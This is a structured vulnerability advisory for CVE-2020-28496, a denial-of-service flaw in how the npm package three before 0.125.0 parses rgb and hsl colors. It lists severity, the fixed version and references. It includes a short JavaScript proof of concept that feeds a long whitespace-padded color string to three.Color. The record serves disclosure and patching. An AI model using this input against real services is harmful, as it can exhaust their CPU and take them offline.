{"id":"CVE-2020-28496","aliases":[],"url":"https://o3.security/vulnerability/CVE-2020-28496","summary":"Denial of service in three","details":"This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. \n\n**PoC:** \n```js\nvar three = require('three')\nfunction build_blank(n) {\n    var ret = \"rgb(\"\n    for (var i = 0; i < n; i++) {\n        ret += \" \"\n    }\n    return ret + \"\";\n}\nvar Color = three.Color\nvar time = Date.now();\nnew Color(build_blank(50000)) var time_cost = Date.now() - time;\nconsole.log(time_cost + \" ms\")\n```","published":"2021-03-01T19:57:16Z","modified":"2023-11-08T04:03:28.730603Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"three","fixedVersion":"0.125.0"}],"fix":{"url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e","label":"mrdoob/three.js#21143"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-28496"},{"type":"WEB","url":"https://github.com/mrdoob/three.js/issues/21132"},{"type":"WEB","url":"https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-JS-THREE-1064931"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2023-11-08T04:03:28.730603Z"}}